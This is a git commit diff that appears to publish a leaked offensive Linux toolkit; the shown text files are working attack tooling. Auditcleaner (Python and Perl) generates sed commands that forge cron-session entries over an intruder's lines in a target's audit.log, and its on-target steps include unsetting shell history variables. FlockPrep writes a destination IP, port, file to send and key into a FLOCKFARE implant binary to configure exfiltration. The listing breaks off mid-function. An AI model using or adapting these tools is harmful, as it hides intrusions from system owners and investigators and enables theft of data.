initial commit

This commit is contained in:
x0rz 2017-04-08 16:05:14 +02:00
commit 3381016227
2213 changed files with 247426 additions and 0 deletions

BIN
Linux/bin/7z Executable file

Binary file not shown.

BIN
Linux/bin/7z.so Executable file

Binary file not shown.

BIN
Linux/bin/7za Executable file

Binary file not shown.

BIN
Linux/bin/7zip/7z Executable file

Binary file not shown.

BIN
Linux/bin/7zip/7z.so Executable file

Binary file not shown.

BIN
Linux/bin/7zip/7za Executable file

Binary file not shown.

BIN
Linux/bin/7zip/7zr Executable file

Binary file not shown.

2
Linux/bin/7zip/sh/7z Executable file
View file

@ -0,0 +1,2 @@
#! /bin/sh
exec /usr/lib/p7zip/7z "$@"

2
Linux/bin/7zip/sh/7za Executable file
View file

@ -0,0 +1,2 @@
#! /bin/sh
exec /usr/lib/p7zip/7za "$@"

2
Linux/bin/7zip/sh/7zr Executable file
View file

@ -0,0 +1,2 @@
#! /bin/sh
exec /usr/lib/p7zip/7zr "$@"

BIN
Linux/bin/7zr Executable file

Binary file not shown.

183
Linux/bin/Auditcleaner Executable file
View file

@ -0,0 +1,183 @@
#!/usr/bin/env python
VERSION = "2.0.1.3"
import optparse
import os
import sys
import re
def get_good_lines(filename):
logfile = open(filename, 'r')
good_lines = []
good_pid = 0
for line in logfile:
pid = get_value(" pid", line)
if pid == good_pid:
good_lines.append(line.strip())
if get_value("type", line) == "USER_END":
break
else:
if line.find("crond") > 0:
if get_value("type", line) == "USER_ACCT":
if good_pid <= 0:
good_pid = get_value(" pid", line)
good_lines.append(line.strip())
logfile.close()
return good_lines
def get_value(key, line):
match = re.search(key+"=(\w+)", line)
if match:
value = match.group(1)
else:
value = match
return value
def get_audit(line):
match = re.search("(\d+\.\d+:\d+)", line)
if match:
value = match.group(1)
else:
value = match
return value
def get_bad_lines():
print "\nPaste the log entries you want to clean. Press CRTL+D when finished...\n"
bad_lines = []
try:
user_input = sys.stdin.read()
except (KeyboardInterrupt, SystemExit):
print "\nExiting..."
sys.exit(0)
for line in user_input.split("\n"):
if line != '':
bad_lines.append(line)
print "\nGot a CTRL+D"
return bad_lines
def get_line(index, filename):
logfile = open(filename, 'r')
for i, log_line in enumerate(logfile):
if i == index:
logfile.close()
return log_line.strip()
logfile.close()
return None
def get_line_index(line, filename):
logfile = open(filename, 'r')
for i, log_line in enumerate(logfile):
if log_line.strip() == line:
logfile.close()
return i
logfile.close()
return None
def get_prev_ses(index, filename):
prev_ses = None
for i in range(index, -1, -1):
line = get_line(i, filename)
if get_value("type", line) == "LOGIN":
prev_ses = get_value("new ses", line)
break
return prev_ses
def get_prev_pid(index, filename):
prev_ses = None
for i in range(index, -1, -1):
line = get_line(i, filename)
if get_value(" pid", line):
prev_ses = get_value(" pid", line)
break
return prev_ses
def main():
parser = optparse.OptionParser(usage="%prog [options] [FILE]", epilog="Version " + VERSION, description="Auditcleaner generates sed lines to clean /var/log/audit/audit.log. You must first get audit.log from the target and test locally. When run without specifying a FILE, Auditcleaner will look for \"audit.log\" in the cwd.")
(options, args) = parser.parse_args()
if len(args) > 1:
parser.error("too many arguments")
elif len(args) == 1:
options.filename = args[0]
else:
options.filename = "audit.log"
if not os.path.isfile(options.filename):
parser.error("%s does not exist or is not a file" % options.filename)
bad_lines = get_bad_lines()
if len(bad_lines) < 1:
print "\nYou didn't paste any lines!\n"
return
good_lines = get_good_lines(options.filename)
template_lines = []
template_ses = None
for good_line in good_lines:
if get_value("type", good_line) != "LOGIN":
template_lines.append(good_line)
else:
template_ses = get_value("new ses", good_line)
if not template_ses:
print"\nCould not find enough good lines in %s" % options.filename
return
else:
print "\nHere is the first good cron session from %s:\n" % options.filename
for good_line in good_lines:
print good_line
template_index = 0
bad_line_index = 0
fixed_lines = []
while bad_line_index < len(bad_lines):
bad_line = bad_lines[bad_line_index]
bad_index = get_line_index(bad_line, options.filename)
if not bad_index:
print "\nThis line could not be found in %s:\n\n%s\n" % (options.filename, bad_line)
return
else:
new_ses = get_prev_ses(bad_index, options.filename)
if not new_ses:
new_ses = template_ses
if not get_value(" pid", bad_line):
new_pid = get_prev_pid(bad_index, options.filename)
else:
new_pid = get_value(" pid", bad_line)
if get_value("type", bad_line) != "LOGIN":
fixed_line = re.sub(r'(\d+\.\d+:\d+)', "\\\\1", template_lines[template_index%len(template_lines)])
fixed_line = re.sub(r'"', '\\"', fixed_line)
fixed_line = re.sub(" pid=\d+", " pid="+new_pid, fixed_line)
fixed_line = re.sub("ses="+template_ses, "ses="+new_ses, fixed_line)
fixed_line = "sed -e \"s#^type=%s.*\(%s\).*\$#%s#g\"" % (get_value("type", bad_line), get_audit(bad_line), fixed_line)
if bad_line_index < len(bad_lines) - 1:
fixed_line = fixed_line + " | \\"
else:
fixed_line = fixed_line + " > .tmp557371; \\"
fixed_lines.append(fixed_line)
template_index += 1
bad_line_index += 1
if len(fixed_lines) > 0:
print "\nPastables to test locally:\n"
print "cp %s .tmp345634; cat .tmp345634 | \\" % options.filename
for fixed_line in fixed_lines:
print fixed_line
print "diff %s .tmp557371; rm -f .tmp345634 .tmp557371" % options.filename
print "\nPastables to run on target:\n"
print "-get /var/log/audit/audit.log"
print "-shell"
print "unset HISTFILE"
print "unset HISTSIZE"
print "unset HISTFILESIZE\n"
print "cp /var/log/audit/audit.log .tmp345634; cat .tmp345634 | \\"
for fixed_line in fixed_lines:
print fixed_line
print "diff /var/log/audit/audit.log .tmp557371; cat .tmp557371 > /var/log/audit/audit.log; rm -f .tmp345634 .tmp557371"
else:
print "\nNo need to clean LOGIN lines.\n"
if __name__ == '__main__':
main()

243
Linux/bin/Auditcleaner.old.pl Executable file
View file

@ -0,0 +1,243 @@
#!/usr/bin/env perl
$VER="1.0.0.1" ;
$i=0;
if (@ARGV) {
foreach (@ARGV) {
if (@ARGV[$i] eq "-h") {
print "\n
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Usage: auditcleaner [audit.log location] [-f] (If not specified will look for audit.log from where is was ran.)
# Usage: auditcleaner -h (Gets this help)
# Usage: auditcleaner -f (Tells it to output lines ready for use on target)
# Version ${VER}
# # # # #
#
# Auditcleaner will generate SED lines to clean audit.log files.
#
# The following MUST be done:
#
# A. You must get the audit.log from target or a portion of it to be the sample.
# B. Find your dirty lines from the audit.log and enter them via STDIN when prompted.
#
# # # # #
#
# It will automatically pull valid crond session lines from a sample file.
# The sample file can be entered on command line when calling the script or will by default use \"audit.log\" from where the script was ran.
# With these sample lines it will generate pastables for the dirty lines entered via STDIN.
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
" ;
exit;
}
$i++;
}
$i=0;
foreach (@ARGV) {
if (@ARGV[$i] eq "-f") {
$final="/var/log/audit/audit.log";
}
$i++;
}
$i=0;
foreach (@ARGV) {
if (@ARGV[$i] ne "-f" ) {
$filename=@ARGV[$i];
}
$i++;
}
}
if ($filename) {
}else {
$filename ="audit.log";
}
print "Using this file to pull the template lines from: $filename\n";
my $pidline =`grep cron $filename | tail -5 | head -1`;
my ( $pid ) = ( $pidline =~ /\suser pid=(\d+)/) ;
my @good_lines =`grep "pid=$pid" $filename`;
@good_lines_count = @good_lines;
$good_lines_count = scalar(@good_lines_count)."";
$s=5;
$j=0;
while ($good_lines_count != 6 ) {
$s=$s + 10;
my $pidline =`grep cron $filename | tail -$s | head -1`;
( $pid ) = ( $pidline =~ /\suser pid=(\d+)/) ;
@good_lines =`grep pid=$pid $filename`;
@good_lines_count = @good_lines;
$good_lines_count = scalar(@good_lines_count)."";
$j++;
if ( $j > 5 ) {
print "\n\n The sample data did not provide good lines. \n Please get more data and try again. \n\n\n ";
exit;
}
}
$i=0;
$k=0;
foreach $goodlines (@good_lines){
if ( @good_lines[$i] =~ /(.*new ses=\d+)/) {
$session_line = @good_lines[$i];
} else {
(@replace_lines[$k]) = @good_lines[$i];
$k++;
}
$i++;
}
print "\nPlease paste the bad lines that need to be cleaned. \n Press Ctrl <D> after last line is entered. .\n\n";
my @bad_lines =<STDIN>;
print "\n \n # # # # # Working # # # # # \n\n";
sleep 1;
@bad_lines_count = @bad_lines;
$bad_lines_count = scalar(@bad_lines_count)."";
$i=0;
$j=0;
$k=0;
$l=0;
foreach $bad_lines (@bad_lines){
if ( @bad_lines[$i] =~ /(.*new ses=\d+)/) {
@bad_lines_ses[$j]= @bad_lines[$i];
$j++
} elsif ( @bad_lines[$i] =~ /(^$)/) {
(@bad_lines_blank[$l]) = @bad_lines[$i];
$l++;
} else {
(@bad_lines_std[$k]) = @bad_lines[$i];
$k++;
}
$i++;
}
@bad_lines_count_ses = @bad_lines_ses;
$bad_lines_count_ses = scalar(@bad_lines_count_ses)."";
@bad_lines_count_std = @bad_lines_std;
$bad_lines_count_std = scalar(@bad_lines_count_std)."";
@bad_lines_blank_count = @bad_lines_blank;
$bad_lines_blank_count = scalar(@bad_lines_blank_count)."";
if ($bad_lines_count != $bad_lines_count_ses + $bad_lines_count_std + $bad_lines_blank_count) {
die "Math doesnt line up";
}
if ($good_lines_count < $bad_lines_count ) {
$line_count_diff= ($bad_lines_count_ses + $bad_lines_count_std) - $good_lines_count ;
print "\nThere were $line_count_diff extra bad lines. Additional lines were generated.\n";
}
$i=0;
foreach $bad_pid_ses (@bad_lines_ses){
( @bad_ses_pid[$i] ) = ( $bad_pid_ses =~ /\slogin pid=(\d+)/) ;
$i++;
}
$i=0;
foreach $bad_pid_std (@bad_lines_std){
( @bad_std_pid[$i] ) = ( $bad_pid_std =~ /\suser pid=(\d+)/) ;
$i++;
}
$i = 0;
$bad_lines_count_std_diff = $bad_lines_count_std -5 ;
until ($i eq $bad_lines_count_std_diff) {
$k=$i+5;
@replace_lines[$k] = @replace_lines[$i];
$i++;
}
$i = 0;
foreach $replace_lines (@replace_lines) {
(@template_std_1[$i],@template_std_time[$i],@template_std_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$replace_lines" );
$i++;
}
$i=0;
until ($i eq $bad_lines_count_ses) {
@session_line[$i] = $session_line;
$i++;
}
$i=0;
foreach $session_line (@session_line) {
(@template_ses_1[$i],@template_ses_time[$i],@template_ses_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$session_line" );
(@template_ses_2_a[$i],@template_ses_id[$i]) = split(/new ses=/, "@template_ses_2[$i]" );
$i++;
}
$i = 0;
foreach $bad_lines_std (@bad_lines_std) {
(@bad_std_1[$i],@replace_std_time[$i],@bad_std_2[$i] ) = split(/(\d*.\d\d\d:\d*)/, "$bad_lines_std");
$i++;
}
$i=0;
foreach (@template_std_2) {
$_ = @template_std_2[$i];
s/"/\\"/g;
@template_std_2[$i] = $_;
$i++;
}
$i=0;
foreach $bad_std_pid (@bad_std_pid) {
$_ = @template_std_2[$i];
s/$pid/$bad_std_pid/g;
@template_std_2[$i] = $_;
$i++;
}
$i = 0;
foreach $bad_lines_ses (@bad_lines_ses) {
(@bad_ses_1[$i],@replace_ses_time[$i],@bad_ses_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$bad_lines_ses" );
(@bad_ses_2_a[$i],@bad_ses_id[$i]) = split(/new ses=/, "@bad_ses_2[$i]" );
$i++;
}
$sed1='sed -e "s#^.*\(';
$sed2='\).*\$#';
$sed3='#g" | \\';
$sed4='new ses=';
$sed5='#g" > n ; \\';
$i = 0;
foreach (@bad_ses_id){
chomp @bad_ses_id[$i];
@sed_ses_line[$i]="$sed1@replace_ses_time[$i]$sed2@template_ses_1[$i]\\1@template_ses_2_a[$i]$sed4@bad_ses_id[$i]$sed3\n";
$i++;
}
$i = 0;
foreach (@replace_std_time){
chomp @template_std_2[$i];
if ($i < ($bad_lines_count_std -1 )) {
@sed_std_line[$i]="$sed1@replace_std_time[$i]$sed2@template_std_1[$i]\\1@template_std_2[$i]$sed3\n";
$i++;
} else {
@sed_std_line[$i]="$sed1@replace_std_time[$i]$sed2@template_std_1[$i]\\1@template_std_2[$i]$sed5\n";
}
}
print "\n#######################################\nCommands generated to test locally. You MUST test first locally.\n#######################################\n\n";
$i=0;
print "cp audit.log o ; cat o | \\\n";
foreach (@sed_ses_line) {
print "@sed_ses_line[$i]";
$i++
}
$i=0;
foreach (@sed_std_line) {
print "@sed_std_line[$i]";
$i++
}
print "diff audit.log n ; #cat n > audit.log\n";
print "\n#######################################\n";
if ($final) {
print "Final Commands generated to run on target. \n#######################################\n";
print "
-get /var/log/audit/audit.log
-shell
unset HISTFILE
unset HISTSIZE
unset HISTFILESIZE
";
print "cp $final o ; cat o | \\\n";
$i=0;
foreach (@sed_ses_line) {
print "@sed_ses_line[$i]";
$i++
}
## Print std lines
$i=0;
foreach (@sed_std_line) {
print "@sed_std_line[$i]";
$i++
}
print "diff $final n ; cat n > $final\n";
print "\n#######################################\n\n";
} else {
print "Will need to mod those lines to run on target or run this again with \"-f\" option.\n\n";
}

BIN
Linux/bin/DUL Normal file

Binary file not shown.

BIN
Linux/bin/Decode Executable file

Binary file not shown.

BIN
Linux/bin/Decode3 Executable file

Binary file not shown.

BIN
Linux/bin/Decode32 Executable file

Binary file not shown.

BIN
Linux/bin/Decode33 Executable file

Binary file not shown.

BIN
Linux/bin/Dubmoat_ExtractData Executable file

Binary file not shown.

BIN
Linux/bin/Dubmoat_PrintFilename Executable file

Binary file not shown.

BIN
Linux/bin/Dubmoat_TruncateFile Executable file

Binary file not shown.

BIN
Linux/bin/EE Executable file

Binary file not shown.

598
Linux/bin/FlockPrep Executable file
View file

@ -0,0 +1,598 @@
#!/usr/bin/env perl
myinit();
progprint(sprintf("Looking for head+${datasize}bytes+tail of:
0x%s+${datasize}bytes+0x%s\n\n",$headtag,$tailtag));
TRYAGAIN:
close(OUT);
if ($outfile) {
open(OUT,">$outfile") or mydie("Cannot open >$outfile: $!");
binmode(OUT);
select OUT;
$|=1 ;
}
close(IN);
open(IN,"<$infile") or mydie("Cannot open <$infile: $!");
binmode(IN);
select(STDOUT);
my $bytes=0 ;
if ($tryagain) {
# On the first attempt the head+${datasize}bytes+tail straddled
# a 2048 chunk so skip ahead $datasize/2 bytes this time and it won't.
read(IN,$buf,$tryagain*($datasize/2)) ;
print OUT $buf if $outfile ;
$bytes += length($buf);
mydie("Failed ${tryagain}th pass--only $bytes bytes, should be ".$tryagain*($datasize/2))
if ($bytes != $tryagain*($datasize/2)) ;
}
my $blocks = 0;
my $foundit = 0 ;
my $done = 0;
my $oldargs = "" ;
while (read(IN,$buf,2048)) {
if (!$done) {
for ($j=0;$j <= length($buf)-12;$j++) {
$chunk = chunkof($buf,$j) ;
if ($chunk eq $headtagpacked) {
if ($j + $datasize + 12 + 1 > length($buf)) {
$tryagain++;
mywarn("Header but not footer in current buf. Trying again ".
$tryagain*($datasize/2).
" bytes into the file...");
goto TRYAGAIN;
}
$tailchunk = chunkof($buf,$j+12+$datasize) ;
unless ($tailchunk eq $tailtagpacked) {
mywarn("\n\a\nHmmm...odd. Found header but $datasize bytes after ".
"is NOT footer...still looking.");
next;
}
$foundit++ ;
$newbuf = substr($buf,0,$j) ;
$oldargsfixed = substr($buf,$j+12,$fixedsize);
my $endianstr = unpack("H8",$oldargsfixed);
if (lc $endianstr eq "201020a3") {
$bigendian=0;
} else {
$bigendian=1;
}
#fudge as a test
if ($ENV{FORCEBIGENDIAN}) {
unless ($bigendian) {
$bigendian=1;
mywarn("Forcing BIGENDIAN mode despite presets.endian=$endianstr\n".
"indicating otherwise. USE FOR DEBUGGING ONLY---DO NOT RUN THIS $outfile");
}
}
$littleendian=!$bigendian;
my $which = "big";
if ($littleendian) {
$which = "little";
}
my $output = "endianstr=$endianstr -- we are looking at a ${which}endian file";
progprint($output);
$oldargs = $oldargsfixed;
$oldargs .= substr($buf,$j+12+$fixedsize,$varsize);
$oldargsascii = unpack("H*",$oldargs) ;
if ($outfile) {
$newargs = $newargsbig if $bigendian;
$newbuf .= $headtagpacked.$oldargsfixed.$newargs.$tailtagpacked;
$newbuf .= substr($buf,length($newbuf)) ;
mydie("LENGTH IS WRONG--should never happen")
if (length($newbuf) != length($buf)) ;
$buf = $newbuf ;
}
$done++ ;
last;
}#if found header
}#for each chunk of data
}#if !$done
print OUT $buf if $outfile ;
$bytes += length($buf);
$blocks++ ;
}
close(IN);
close(OUT);
chmod(0755,$outfile) if ($outfile and -e $outfile) ;
select STDOUT ;
if ($foundit) {
my $cmp = ";cmp $infile $outfile" if $outfile ;
my $tmp=`ls -alL $infile $outfile;md5sum $infile $outfile$cmp`;
progprint("We found it at $bytes+$j bytes ($blocks blocks of 2048):\n\n$COLOR_NOTE".
$tmp,
$COLOR_SUCCESS);
if (!$outfile) {
my $len = length($oldargs);
progprint("$len bytes of hex arguments in ${infile} between colons\n".
"::$COLOR_NOTE${oldargsascii}${COLOR_NORMAL}::\n");
progprint("ASCII arguments in ${infile} between colons\n".
"::$COLOR_NOTE${oldargs}${COLOR_NORMAL}::\n");
}
} else {
unlink($outfile);
mydie("\n\nNEVER FOUND head+${datasize}bytes+tail in $infile. ABORTING!\n\n\a");
}
sub mydie {
progprint("@_\n",1);
exit 1;
}#mydie
sub mywarn {
progprint("@_",1);
}#mywarn
sub chunkof {
# returns 12 byte chunk of $buf at $j
local($buf,$j) = (@_);
my $ans ;
$ans = pack("a12",substr($buf,$j));
return $ans ;
}#chunkof
sub myinit {
use File::Basename ;
$COLOR_SUCCESS="\033[5;42m";
$COLOR_SUCCESS="\033[3;32m";
$COLOR_FAILURE="\033[1;31m";
$COLOR_WARNING="\033[1;33m";
$COLOR_NORMAL="\033[0;39m";
$COLOR_NOTE="\033[0;34m";
$prog = basename $0 ;
$version="1.0.1.1";
$versiontext = "$prog version $version\n" ;
$headtag = "379db90700884206d15b987d";
$tailtag = "23fa6509500ca4bab4f53e21";
$datasize = 1332;
$fixedsize = 8;
$varsize = $datasize-$fixedsize;
$headtagpacked = pack("H*",$headtag) ;
$tailtagpacked = pack("H*",$tailtag) ;
$infile = shift(@ARGV);
$opt_h = ($infile eq "-h" or !$infile);
$opt_v = ($infile eq "-v");
$infile = shift(@ARGV) if ($opt_h or $opt_v);
$outfile = shift(@ARGV) unless ($ARGV[0] =~ /^-/);
$outfile = "$infile.new" unless $outfile ;
$checkinside = $infile ? 1 : 0 ;
$newargs = "" ;
# Now parse through remaining arguments and set variables accordingly
# DEFAULTS that we can set before parsing @ARGV
# $sourcedir = ".";
if (@ARGV) {
while (my $arg = shift(@ARGV)) {
mydie("No arguments can contain whitespace.")
if ($arg =~ /\s/) ;
if ($arg eq "ZERO") {
$newargs = "ZERO";
last;
}
if ($arg =~ /^-/) {
if ($arg =~ /^-I(P){0,1}(\S+){0,1}/i) {
if ($2) {
$ip = $2;
} else {
$ip = shift(@ARGV);
}
mydie("Malformed IP value \"$ip\" in \"$arg $ip\"")
unless ipcheck($ip);
} elsif ($arg =~ /^-M(\S+){0,1}/i) {
#???? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) {
if ($2) {
$techniqueid = $2;
} else {
$techniqueid = shift(@ARGV);
}
if ($techniqueid =~ /^\d+$/) {
my $ans = getinput("Is TECHNIQUEID (-M) $techniqueid Hex or Decimal?","H","D");
$techniqueid = hex($techniqueid) if ($ans =~ /^h/i);
} elsif ($techniqueid =~ /^(0x){0,1}[\da-f]+$/i) {
$techniqueid = hex($techniqueid);
} else {
mydie("Malformed TECHNIQUEID (-M) value \"$techniqueid\" in \"$arg $techniqueid\"");
}
} elsif ($arg =~ /^-A(\S+){0,1}/i) {
# ??? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) {
if ($2) {
$targetid = $2;
} else {
$targetid = shift(@ARGV);
}
if ($targetid =~ /^\d+$/) {
my $ans = getinput("Is TARGETID (-A) $targetid Hex or Decimal?","H","D");
$targetid = hex($targetid) if ($ans =~ /^h/i);
} elsif ($targetid =~ /^(0x){0,1}[\da-f]+$/i) {
$targetid = hex($targetid);
} else {
mydie("Malformed TARGETID (-A) value \"$targetid\" in \"$arg $targetid\"");
}
} elsif ($arg =~ /^-P(ORT){0,1}(\S+){0,1}/i) {
if ($2) {
$port = $2;
} else {
$port = shift(@ARGV);
}
mydie("Malformed PORT value \"$port\" in \"$arg $port\"")
unless ( $port =~ /^\d+$/ and
$port > 0 and
$port < 65536
);
} elsif ($arg =~ /^-F(ILE){0,1}(\S+){0,1}/i) {
if ($2) {
$datafile = $2;
} else {
$datafile = shift(@ARGV);
}
mydie("Malformed FILE value \"$datafile\" in \"$arg $datafile\" (no / or whitespace)")
if ($datafile =~ /\// or
$datafile =~ /\s/
);
} elsif ($arg =~ /^-S(OURCE){0,1}(\S+){0,1}/i) {
if ($2) {
$sourcedir = $2;
} else {
$sourcedir = shift(@ARGV);
}
$sourcedir =~ s/\/+$// ;
} elsif ($arg =~ /^-D(EST){0,1}(\S+){0,1}/i) {
if ($2) {
$destdir = $2;
} else {
$destdir = shift(@ARGV);
}
mydie("Malformed DEST value \"$destdir\" in \"$arg $destdir\"")
if ( $destdir =~ /\s/
);
} elsif ($arg =~ /^-K(EY){0,1}(\S+){0,1}/i) {
if ($2) {
$keyfile = $2;
} else {
$keyfile = shift(@ARGV);
}
} else {
mydie("Unrecognized argument: $arg");
}
} else {
mydie("Malformed command line at \"$arg\"");
}
}#while (@ARGV)
# SET DEFAULTS
$port = 25 unless $port;
$destdir = "" unless $destdir;
# MAKE SURE WE HAVE WHAT WE NEED
mydie("Missing required -IP argument")
unless $ip;
mydie("Missing required TECHNIQUEID (-M) argument")
unless $techniqueid;
mydie("Missing required TARGETID (-A) argument")
unless $targetid;
mydie("Missing required -PORT argument")
unless $port;
# mydie("Missing required -FILE argument")
# unless $datafile;
# mydie("Missing required -SOURCE argument")
# unless $sourcedir;
mydie("Missing required -KEY argument")
unless $keyfile;
if (!(-e $keyfile) and (-f "$sourcedir/$keyfile")) {
$keyfile = "$sourcedir/$keyfile";
}
mydie("KEY file \"$keyfile\" in \"$arg $keyfile\" NOT FOUND")
unless (-f $keyfile);
# OK, we have all good args, so we're not just showing contents
$checkinside = 0;
}
my $zeroed = 0 ;
# Pad the $newargs with nulls, also truncate to $varsize if they're long
$newargs = substr(pack("a$datasize",$newargs),0,$varsize);
$newhexascii = unpack("H*",$newargs) ;
if ($outfile eq "ZERO" or $newargs =~ /ZERO/) {
$zeroed = 1;
$outfile = "$infile.ZEROED" if ($outfile eq "ZERO") ;
$checkinside = 0 ;
$newargs = "" ;
$newargs = substr(pack("a$varsize",$newargs),0,$varsize);
$newhexascii = unpack("H*",$newargs) ;
} else {
if ($opt_h or $opt_v) {
$newargs = pack("a$varsize",0);
} else {
# NOTE: This one assumes little-endian for now--we don't know what
# the file we're dealing with is yet.
$bigendian=1;
$newargsbig = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile);
$bigendian=0;
$newargs = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile);
}
}
mywarn("Arguments too long (".length($newargs).
" chars). Truncated to ${varsize}.")
if (length($newargs) > $varsize) ;
(my $zeros) = $newhexascii =~ /(00000+)$/ ;
my $len = length($zeros) ;
if ($len > 0) {
$len = "$len " ;
} else {
$len = "";
}
$newhexascii =~ s/00000+$/000000(${len}zeroes to end of buffer...)/ ;
$usagetext = "
Usage: $prog infile [outfile] [FLOCKFARE-args]
outfile defaults to infile.new. If provided, outfile must not start
with a \"-\" or contain whitespace.
If \"ZERO\" is given as the only FLOCKFARE-args argument, the arguments
in infile are zeroed out.
If no FLOCKFARE-args argument is given, the arguments in infile are
found and shown in hexidecimal.
The FLOCKFARE-args provided are injected into infile if it is a valid
FLOCKFARE binary (i.e., has the right head/tail tags in it). Valid
FLOCKFARE arguments include the same that can be provided to FLOCKFARE
server via the command line, namely (and these are case insensitive,
and all can be abbreviated to their first letter):
-IP Specifies the destination I.P. address
-M Specifies the TECHNIQUE ID
-A Specifies the TARGET ID
-PORT Specifies the port number (default = 25)
-FILE Specifies the local file to be sent
-SOURCE Specifies the local directory the file is in
-DEST Specifies the remote directory
-KEY Specifies the keyfile to use (default = .fizzle)
Every argument requires its own \"-\", preceeded by a space and followed
by its value (no spaces in file or directory names are allowed). E.g.,
either of these is valid and they are equivalent:
-IP1.2.3.4 -P23 -Filefoo -DESTBAR
-IP 1.2.3.4 -PORT 23 -File foo -Dest BAR
Injection consists of locating the correct place in the binary, then
placing the arguments provided into infile at that location and in the
correct endian order (infile is examined to determine its endian-ness).
The correct place is found between fixed header and footer tags above
and below the data location:
\t\t0x$headtag and
\t\t0x$tailtag
" ;
usage() if ($opt_h or $opt_v);
progprint("Argument parsing complete and error checks passed thus far");
my $injected = sprintf "
\t IP : %s
\t TECHNIQUEID : %8d == 0x%08x
\t TARGETID : %8d == 0x%08x
\t PORT : %8d == 0x%08x
\t DATA FILE : %s
\t SOURCE DIR : %s
\t DEST DIR : %s
\t KEYFILE : %s
",
$ip,$techniqueid,$techniqueid,$targetid,$targetid,$port,$port,
$datafile,$sourcedir,$destdir,$keyfile ;
if ($checkinside) {
mywarn("No content provided to inject--looking for what's in there") ;
$outfile = "";
progprint("Looking in: $infile");
} else {
if ($zeroed) {
progprint("Injecting: NULLS");
} else {
# progprint("Injecting: \t".asciiclean($newargs));
# progprint("Injecting this:\n".hexprint($newargs));
# progprint("Injecting: \t$newargs");
progprint("Injecting (binary for structure containing): \t$injected");
}
progprint("Into file: \t$infile");
progprint("To build file:\t$outfile");
}
}#myinit
sub usage {
print $usagetext unless ($opt_v) ;
print $versiontext ;
print "\nFATAL ERROR: @_\n" if ( @_ );
exit;
}#usage
sub progprint {
local ($what,$color,$color2,$what2) = (@_,"","","") ;
my $where = "STDOUT";
my $crs = "" ;
my $tmp ;
while ($tmp = substr($what,0,1)) {
if ($tmp eq "\n") {
$crs .= $tmp;
$what = substr($what,1);
} else {
last;
}
}
# $color = $COLOR_NOTE unless $color ;
if ($color eq "1") {
$color = $COLOR_FAILURE;
$where = "STDERR";
}
$color2 = $color unless $color2 ;
$what2 = "$what2 " if ($what2) ;
print $where "$crs$color2${prog}[$$]: $what2${color}$what$COLOR_NORMAL\n" ;
}# progprint
sub buildbinaryargs {
local ($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile)
= (@_);
my $key;
my $string = undef;
# use_pre (I set) 4
$string .= pack("l1",1); # set to true
# lp_addr (user sets) 4
$string .= pack("V1",inet_aton($ip));
# lp_port (user sets) 2
if ($bigendian) {
$string .= pack("n1",$port);
} else {
$string .= pack("v1",$port);
}
# techniqueid (user sets) 2
if ($bigendian) {
$string .= pack("n1",$techniqueid);
} else {
$string .= pack("v1",$techniqueid);
}
# targetid (user sets) 4
if ($bigendian) {
$string .= pack("N1",$targetid);
} else {
$string .= pack("V1",$targetid);
}
# fname (user sets) 256
$string .= strmunge($datafile,256);
# dirname (user sets) 256
$string .= strmunge($sourcedir,256);
# destination (user sets) 256
$string .= strmunge($destdir,256);
# key (user sets) 540 (see below)
# trailer 1-3 (fixed)
my $what;
if (-s $keyfile == 536) {
my ($data,$count) = ();
# keyfile is binary, suck it in as-is
open(IN,"<$keyfile") or
mydie("Unable to open $keyfile");
$what = "binary file $keyfile";
} else {
# keyfile is ascii, run buildkeys on it to stdout, suck that in
unless (`which buildkeys 2>/dev/null`) {
mydie("buildkeys not in PATH--required to read in ascii key file $keyfile");
}
open(IN,"buildkeys -b $keyfile |")
or mydie("Cannot open execution of: buildkeys -b $keyfile as input");
$what = "output of: buildkeys -b $keyfile";
}
binmode(IN) or mydie("Unable to set IN to binmode");
my $count = read(IN,$data,536);
mydie("ERROR: Read in $count bytes from $what -- should be 536")
unless ($count == 536);
close(IN);
# NOTE: we pack here to 540 bytes, buffer has a bit of room to spare
$string .= pack("a540",$data);
# this for debugginb...like Presets.h
# $string .= pack("a540","key");
return $string;
}#buildbinaryargs
sub inet_aton {
local ($ip) = (@_);
my @octets = split(/\./,$ip);
return undef if (!ipcheck($ip) or @octets > 4);
my $val = 0;
foreach (@octets) {
$val = 256*$val + $_;
}
return $val;
}#inet_aton (does IO::Socket have this already?)
sub inet_ntoa {
local ($val) = (@_);
my ($count,@octets) = ();
while ($val) {
my $octet = $val & 0xff;
$count++;
unshift(@octets,$octet);
$val = $val >> 8;
return "ERR" if ($val and @octets >= 4);
}
unshift(@octets,0) while ($count++<4);
return join(".",@octets);
}#inet_ntoa (does IO::Socket have this already?)
sub ipcheck {
# returns 1 iff $ipstr is in dotted decimal notation with each
# octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
my $maxval=255;
my $minval=0;
while ($_[$#_] =~ /no/) {
if ($_[$#_] =~ /no255/) {
pop(@_);
$maxval=254;
}
if ($_[$#_] =~ /no0/) {
pop(@_);
$minval=1;
}
}
local($ipstr,$minoctets,$maxoctets) = @_;
$minoctets=abs(int($minoctets)) if defined $minoctets;
$maxoctets=abs(int($maxoctets)) if defined $maxoctets;
unless($minoctets) {
$minoctets=4 ;
}
unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
$maxoctets=4;
}
# strip trailing "." if partial IPs allowed
$ipstr =~ s/\.$// if ($maxoctets < 4) ;
# need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
my @octets=split(/\./,$ipstr,-1);
return 0 if (@octets < $minoctets or @octets > $maxoctets);
foreach (@octets) {
# return 0 if (empty or nondigits or <0 or >$maxval)
return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
# next line allows partial IPs ending in ".", ignore last
return 0 if ($minoctets == 4 and $_ eq "");
}
return 1;
} #ipcheck
sub strmunge {
# $e = ($c*53)&0xff to munge
# $c = ($e*29)&0xff to unmunge
local($str,$len) = (@_);
$len = 256 unless $len;
